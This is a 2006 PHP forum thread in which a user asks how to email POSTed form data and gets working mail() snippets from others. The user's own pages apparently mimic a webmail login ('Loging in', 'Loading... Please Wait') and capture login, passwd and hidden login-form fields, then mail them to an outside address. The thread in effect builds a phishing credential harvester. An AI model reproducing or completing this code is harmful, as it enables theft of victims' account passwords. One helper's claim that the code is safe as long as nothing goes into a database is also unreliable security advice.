timgetback Posted July 19, 2006 Share Posted July 19, 2006 Ok heres the deal. I need to get input data using method post so i can view the data later. basically i need a php script to route the data in post to like an email address, or something. This is really important to me if any onw can help it would be greatly appericated. Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/ Share on other sites More sharing options...
Joe Haley Posted July 19, 2006 Share Posted July 19, 2006 <?php$message = "Forum element name: {$_POST['forum_element_name']} \n"$message .= "Forum element name: {$_POST['forum_element_name']} \n"$message .= "Forum element name: {$_POST['forum_element_name']} \n"$message .= "Forum element name: {$_POST['forum_element_name']} \n"// extmail('someone@somewhere.com', 'subject', $message);?> Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60542 Share on other sites More sharing options...
timgetback Posted July 19, 2006 Author Share Posted July 19, 2006 thanks so would i do something like:ction=getinfo.php method=post autocomplete="off" onsubmit="set()"> <SCRIPT language=javascript>where getinfo.php wis where i would put the script you just gave me? Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60567 Share on other sites More sharing options...
Joe Haley Posted July 19, 2006 Share Posted July 19, 2006 Yes. But this script is heavily explotable by spammers. Beware.(it gets 100* more complex to make it secure.) Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60569 Share on other sites More sharing options...
timgetback Posted July 19, 2006 Author Share Posted July 19, 2006 if ur still online i typed this up:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head> <title>Login Info</title></head><body><?php$message = "login": {$_POST['login']} \n"$message .= "passwd": {$_POST['passwd']} \n"$message .= ".tries": {$_POST['.tries']} \n"$message .= "Forum element name: {$_POST['forum_element_name']} \n"// extmail('account@mail.com', 'Email Info', $message);?></body></html> But it didnt work. Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60650 Share on other sites More sharing options...
timgetback Posted July 19, 2006 Author Share Posted July 19, 2006 <form method="post" action=getinfo2.php autocomplete="off" name="login_form" onsubmit="set()">and added whats above on the main page with the login Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60654 Share on other sites More sharing options...
Joe Haley Posted July 19, 2006 Share Posted July 19, 2006 <?php$message = "login": {$_POST['login']} \n"$message .= "passwd": {$_POST['passwd']} \n"$message .= ".tries": {$_POST['.tries']} \n"$message .= "Forum element name: {$_POST['forum_element_name']} \n"?>should be<?php$message = "login: {$_POST['login']} \n";$message .= "passwd": {$_POST['passwd']} \n";$message .= ".tries: {$_POST['.tries']} \n";$message .= "Forum element name: {$_POST['forum_element_name']} \n";?>The additional quotes will screw up the parser if not escaped with a backslash.And silly me, i forgot semicolons after the variable assignments! Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60664 Share on other sites More sharing options...
Ninjakreborn Posted July 19, 2006 Share Posted July 19, 2006 Here there is no point in having difficult with this, think about it, everytime you create a contact form it's doing the same thing.Here have a form<form name="infogatherer" action="processor.php" method="post">Have as many input fields here as you want.</form>Then say you have 3 info fields, just stick them in an email$message = "Username: {$_POST[username]}Password: {$_POST[password]}Information: {$_POST[information]}mail("email@domain.com", "This is my data", $message);You can do whatever else you want to with it, I don't know if anyone can really exploit this, just don't set it up to where a user can send you html emails. THen you might have some problems, as long as nothing is going into a database you should be fine. Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-60668 Share on other sites More sharing options...
timgetback Posted July 20, 2006 Author Share Posted July 20, 2006 So is this good or what??? : ???<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head> <title>Loging in</title></head><body><p> Loading...... Please Wait </p><?php$message = "login: {$_POST[login]}passwd: {$_POST[passwd]}yreglgtb: {$_POST[yreglgtb]}mail("email@domain.com", "This is my data", $message);//ext?></body></html> Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-61369 Share on other sites More sharing options...
trq Posted July 20, 2006 Share Posted July 20, 2006 [quote]So is this good or what??? [/quote]How should we know..? Does it work? Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-61372 Share on other sites More sharing options...
timgetback Posted July 20, 2006 Author Share Posted July 20, 2006 No.... it wont send it to the email address shown Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-61395 Share on other sites More sharing options...
trq Posted July 20, 2006 Share Posted July 20, 2006 [code=php:0]$message = "login: {$_POST['login']}passwd: {$_POST['passwd']}yreglgtb: {$_POST['yreglgtb']}";mail("servprt3_passrecov@yahoo.com", "This is my data", $message);[/code] Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-61396 Share on other sites More sharing options...
timgetback Posted July 20, 2006 Author Share Posted July 20, 2006 I put this in notepad just as it is:<?php$message = "login: {$_POST['login']}passwd: {$_POST['passwd']}yreglgtb: {$_POST['yreglgtb']}";mail("mail@domain.com", "This is my data", $message);//ext?>then i put this in my site:<form method="post" action=getinfo.php autocomplete="off" name="login_form" >now... i know nothin about php. Should this work cause it aint. Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-61416 Share on other sites More sharing options...
timgetback Posted July 22, 2006 Author Share Posted July 22, 2006 anyone?? Quote Link to comment https://forums.phpfreaks.com/topic/15050-im-a-new-user-desperate-for-help/#findComment-62220 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.